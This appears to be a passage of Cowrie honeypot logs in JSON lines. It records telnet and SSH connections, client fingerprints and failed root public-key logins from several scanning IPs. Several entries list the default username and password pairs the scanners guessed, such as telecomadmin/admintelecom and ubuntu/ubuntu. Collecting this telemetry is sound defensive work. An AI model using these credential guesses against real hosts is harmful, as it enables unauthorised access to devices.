{"eventid":"cowrie.session.closed","duration":120.00190281867981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:33.443486Z","src_ip":"152.42.224.71","session":"f7ea3400215f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.93275690078735,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:44.413591Z","src_ip":"176.65.139.118","session":"1f83b63719ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33374,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ff19dc128c","protocol":"telnet","message":"New connection: 176.65.139.118:33374 (159.203.135.109:23) [session: 96ff19dc128c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:44.515895Z"}
{"eventid":"cowrie.session.closed","duration":2.314169406890869,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:46.829961Z","src_ip":"176.65.139.118","session":"96ff19dc128c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":43146,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3cef11a9539","protocol":"telnet","message":"New connection: 176.65.139.118:43146 (159.203.135.109:23) [session: b3cef11a9539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:46.993349Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":44432,"dst_ip":"10.17.0.5","dst_port":22,"session":"a395b73c7757","protocol":"ssh","message":"New connection: 104.194.10.248:44432 (10.17.0.5:22) [session: a395b73c7757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.820729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.824987Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.831851Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:e5:82:c0:45:36:54:57:c5:c4:58:7c:88:47:b2:89","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJD9zNI5fdL4ggkoc60yHrX2jMA9vV/XT+1eAmTtZaXF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f9:e5:82:c0:45:36:54:57:c5:c4:58:7c:88:47:b2:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.847359Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:e5:82:c0:45:36:54:57:c5:c4:58:7c:88:47:b2:89","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJD9zNI5fdL4ggkoc60yHrX2jMA9vV/XT+1eAmTtZaXF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.850972Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:f0:04:76:cd:4f:04:42:5d:61:2a:53:a9:e7:87:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTg4Pzs9c0AshblorQNJtE+DHA7C3LCXisVD1MRN2TgJQl+J8E7exO2YE7LdDZP8VCSWsxJKNKZ1xPodFnEFM3h98FlACA06PRu6OX/0v5a5kq0+PS4VpIjPO/4aEZBPOGlsH/t7SercCSojOwRBdzTPWHYQ+M2ImLLus2BgGZ7GqyFEuE56lv8ybmhLHyPFCbH78MEGBXdW2ZWYUZZ2cQODrxyFSx7bP1qOgzhREMNowev8hc2hAU6odK07IwXeB2efACJRt4FQ76RfDmvTwgyAHpmRm62ixltNRcVlFf6nByoHI0BV+iB53iwW0YshL878L5lT/kDgy6hU2DbjzF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:f0:04:76:cd:4f:04:42:5d:61:2a:53:a9:e7:87:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.857759Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:f0:04:76:cd:4f:04:42:5d:61:2a:53:a9:e7:87:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTg4Pzs9c0AshblorQNJtE+DHA7C3LCXisVD1MRN2TgJQl+J8E7exO2YE7LdDZP8VCSWsxJKNKZ1xPodFnEFM3h98FlACA06PRu6OX/0v5a5kq0+PS4VpIjPO/4aEZBPOGlsH/t7SercCSojOwRBdzTPWHYQ+M2ImLLus2BgGZ7GqyFEuE56lv8ybmhLHyPFCbH78MEGBXdW2ZWYUZZ2cQODrxyFSx7bP1qOgzhREMNowev8hc2hAU6odK07IwXeB2efACJRt4FQ76RfDmvTwgyAHpmRm62ixltNRcVlFf6nByoHI0BV+iB53iwW0YshL878L5lT/kDgy6hU2DbjzF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.863659Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:a7:ed:96:e7:ac:69:9f:0f:c2:38:fa:7e:0c:37:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuyT0oaC3X9vePAFe4cSyw5y9lnJwcuKuqfkLgW5QpXkEz+7u7WN9/Dpm0R2EPxG5NOXKB7Lu0tR9/gVsZFcI5M6ROsBRz0277nXFDf9EDrPHfkSrAgUJs0W6eCtxsbu1w97IQ/ZNpRaWXKNvx48jOHLPgfUjjhJHKwptBjlS+N1w1ZD5eMCV+IzwcmTcTnDfVTJIGatx6NWsWgZDOeAQpEySg43qXvG2y8WaGb5JmOsOK8nJxHaEonJEZ1dHIK9a0ZtaYiGZHC26A5Vr4ZkGgm4rregC7lKEolD0oTGrEuwhkQMfBnVhhkNnggE8jb+ZtF5rk5bOdp9+h0IevMGzIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:a7:ed:96:e7:ac:69:9f:0f:c2:38:fa:7e:0c:37:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.871550Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:a7:ed:96:e7:ac:69:9f:0f:c2:38:fa:7e:0c:37:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuyT0oaC3X9vePAFe4cSyw5y9lnJwcuKuqfkLgW5QpXkEz+7u7WN9/Dpm0R2EPxG5NOXKB7Lu0tR9/gVsZFcI5M6ROsBRz0277nXFDf9EDrPHfkSrAgUJs0W6eCtxsbu1w97IQ/ZNpRaWXKNvx48jOHLPgfUjjhJHKwptBjlS+N1w1ZD5eMCV+IzwcmTcTnDfVTJIGatx6NWsWgZDOeAQpEySg43qXvG2y8WaGb5JmOsOK8nJxHaEonJEZ1dHIK9a0ZtaYiGZHC26A5Vr4ZkGgm4rregC7lKEolD0oTGrEuwhkQMfBnVhhkNnggE8jb+ZtF5rk5bOdp9+h0IevMGzIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.875175Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:a1:af:5a:e8:0e:8e:be:ad:97:b7:af:da:67:9d:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2bfBY4jpHfRvv1ytmQfhlF8VeokNmMqCsEbYdy4b1KevzO54NNrvLC5nBtj141Ckh2bFvWueaSymevNHQp/kYMWYtE8YCrWK5x4WlvkPSLDvkSikxkzCnIoEghEa3G+7g2L1VH91jnNmq2uCO8xly6KG9YnYc0+s9QgQcg0RZxf6cIcQRLC3LAD4pzC6DN7kRSzZyzanmMtQpM8Rr2LWddaNYE0DsI3KXmKHbH9Nvz2s3GNT8/uvqYWqF2p6L1rdDmywPkj0ZtRdAQB1GHO/dy/gcZeA7eGKphvxvsavED/g+q8ab/ELref3r/jixZgG/Bh8qsByoe62bQl2Knq4Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:a1:af:5a:e8:0e:8e:be:ad:97:b7:af:da:67:9d:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.883167Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:a1:af:5a:e8:0e:8e:be:ad:97:b7:af:da:67:9d:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2bfBY4jpHfRvv1ytmQfhlF8VeokNmMqCsEbYdy4b1KevzO54NNrvLC5nBtj141Ckh2bFvWueaSymevNHQp/kYMWYtE8YCrWK5x4WlvkPSLDvkSikxkzCnIoEghEa3G+7g2L1VH91jnNmq2uCO8xly6KG9YnYc0+s9QgQcg0RZxf6cIcQRLC3LAD4pzC6DN7kRSzZyzanmMtQpM8Rr2LWddaNYE0DsI3KXmKHbH9Nvz2s3GNT8/uvqYWqF2p6L1rdDmywPkj0ZtRdAQB1GHO/dy/gcZeA7eGKphvxvsavED/g+q8ab/ELref3r/jixZgG/Bh8qsByoe62bQl2Knq4Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.887084Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:cc:55:35:27:07:ca:e1:aa:a7:c1:a1:0f:11:bb:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2FX4W7M+tLBRnVDsTTkOAaKy65mObkc6iWkBYoKyn23+wxMi2I4yzUGSR9m78Qka1GmhxsP7/1AJhIM9FoXpIzZtln4wh4Ho4WBKHw38gFwZlDPKwL7D94L34dL75LM5syPOyn8E7abpzlPMZhHnKrZtKPIl0tQQCS1P4t0rWsabdBlJpliO/t5sIiHRsCM574rPXhULb99KuF7cxxK/f3VTOtjzNE5rr2YAIJR/CURTZr+xVW1UEcYn9n0McmtRYy7fTqhJD9pjjcZxRFzt8D2zRsSEm5jJL96Cnpq859nqKBAx3DmeyNAzNwWkKJozUcrfhvZ42DYFHxTzV3OS7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:cc:55:35:27:07:ca:e1:aa:a7:c1:a1:0f:11:bb:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.897436Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:cc:55:35:27:07:ca:e1:aa:a7:c1:a1:0f:11:bb:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2FX4W7M+tLBRnVDsTTkOAaKy65mObkc6iWkBYoKyn23+wxMi2I4yzUGSR9m78Qka1GmhxsP7/1AJhIM9FoXpIzZtln4wh4Ho4WBKHw38gFwZlDPKwL7D94L34dL75LM5syPOyn8E7abpzlPMZhHnKrZtKPIl0tQQCS1P4t0rWsabdBlJpliO/t5sIiHRsCM574rPXhULb99KuF7cxxK/f3VTOtjzNE5rr2YAIJR/CURTZr+xVW1UEcYn9n0McmtRYy7fTqhJD9pjjcZxRFzt8D2zRsSEm5jJL96Cnpq859nqKBAx3DmeyNAzNwWkKJozUcrfhvZ42DYFHxTzV3OS7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.900706Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:50.910340Z","src_ip":"104.194.10.248","session":"a395b73c7757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.880324125289917,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:55.873546Z","src_ip":"176.65.139.118","session":"b3cef11a9539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":46870,"dst_ip":"159.203.135.109","dst_port":23,"session":"2254cdb1f59e","protocol":"telnet","message":"New connection: 176.65.139.118:46870 (159.203.135.109:23) [session: 2254cdb1f59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:49:56.021342Z"}
{"eventid":"cowrie.session.closed","duration":106.08494639396667,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:03.564484Z","src_ip":"152.42.224.71","session":"4d7254feaeb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39576,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5566ea991a3","protocol":"telnet","message":"New connection: 176.65.139.121:39576 (10.17.0.5:23) [session: c5566ea991a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:06.445657Z"}
{"eventid":"cowrie.session.closed","duration":3.074831962585449,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:09.520370Z","src_ip":"176.65.139.121","session":"c5566ea991a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39586,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ccf7fb229e","protocol":"telnet","message":"New connection: 176.65.139.121:39586 (10.17.0.5:23) [session: d4ccf7fb229e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:09.616573Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:13.638918Z","src_ip":"176.65.139.121","session":"d4ccf7fb229e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.123706817626953,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:15.740213Z","src_ip":"176.65.139.121","session":"d4ccf7fb229e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39588,"dst_ip":"10.17.0.5","dst_port":23,"session":"5803fff77e64","protocol":"telnet","message":"New connection: 176.65.139.121:39588 (10.17.0.5:23) [session: 5803fff77e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:15.859687Z"}
{"eventid":"cowrie.session.closed","duration":2.347791910171509,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:18.207310Z","src_ip":"176.65.139.121","session":"5803fff77e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":48312,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9da3937eac0","protocol":"telnet","message":"New connection: 176.65.139.121:48312 (10.17.0.5:23) [session: f9da3937eac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:18.286371Z"}
{"eventid":"cowrie.session.closed","duration":3.204885244369507,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:21.491139Z","src_ip":"176.65.139.121","session":"f9da3937eac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":48326,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf82bdcce58","protocol":"telnet","message":"New connection: 176.65.139.121:48326 (10.17.0.5:23) [session: bdf82bdcce58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:21.569895Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:26.980538Z","src_ip":"176.65.139.121","session":"bdf82bdcce58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36104,"dst_ip":"10.17.0.5","dst_port":23,"session":"b61f63d3c1d1","protocol":"telnet","message":"New connection: 152.42.224.71:36104 (10.17.0.5:23) [session: b61f63d3c1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:28.637509Z"}
{"eventid":"cowrie.session.closed","duration":7.5787458419799805,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:29.148509Z","src_ip":"176.65.139.121","session":"bdf82bdcce58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"39714b0a5870","protocol":"telnet","message":"New connection: 176.65.139.121:42620 (10.17.0.5:23) [session: 39714b0a5870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:29.256459Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":43540,"dst_ip":"159.203.135.109","dst_port":22,"session":"531404ba8d11","protocol":"ssh","message":"New connection: 80.94.92.171:43540 (159.203.135.109:22) [session: 531404ba8d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:36.719170Z"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"admintelecom","message":"login attempt [telecomadmin/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:36.867676Z","src_ip":"176.65.139.121","session":"39714b0a5870","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:36.889584Z","src_ip":"80.94.92.171","session":"531404ba8d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:36.893612Z","src_ip":"80.94.92.171","session":"531404ba8d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.611655712127686,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:37.868016Z","src_ip":"176.65.139.121","session":"39714b0a5870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56082,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c040217098d","protocol":"telnet","message":"New connection: 176.65.139.121:56082 (10.17.0.5:23) [session: 5c040217098d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:37.951222Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:38.115810Z","src_ip":"80.94.92.171","session":"531404ba8d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:39.368695Z","src_ip":"80.94.92.171","session":"531404ba8d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.634171485900879,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:41.585263Z","src_ip":"176.65.139.121","session":"5c040217098d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56088,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f490118ff2","protocol":"telnet","message":"New connection: 176.65.139.121:56088 (10.17.0.5:23) [session: e5f490118ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:41.680478Z"}
{"eventid":"cowrie.session.closed","duration":3.685028076171875,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:45.365378Z","src_ip":"176.65.139.121","session":"e5f490118ff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56098,"dst_ip":"10.17.0.5","dst_port":23,"session":"f736e2e4735f","protocol":"telnet","message":"New connection: 176.65.139.121:56098 (10.17.0.5:23) [session: f736e2e4735f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:45.444100Z"}
{"eventid":"cowrie.session.closed","duration":2.4318556785583496,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:47.875816Z","src_ip":"176.65.139.121","session":"f736e2e4735f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60042,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f5579506ce","protocol":"telnet","message":"New connection: 176.65.139.121:60042 (10.17.0.5:23) [session: b5f5579506ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:47.955440Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51382,"dst_ip":"10.17.0.5","dst_port":23,"session":"f82b228e9e16","protocol":"telnet","message":"New connection: 152.42.224.71:51382 (10.17.0.5:23) [session: f82b228e9e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:48.011227Z"}
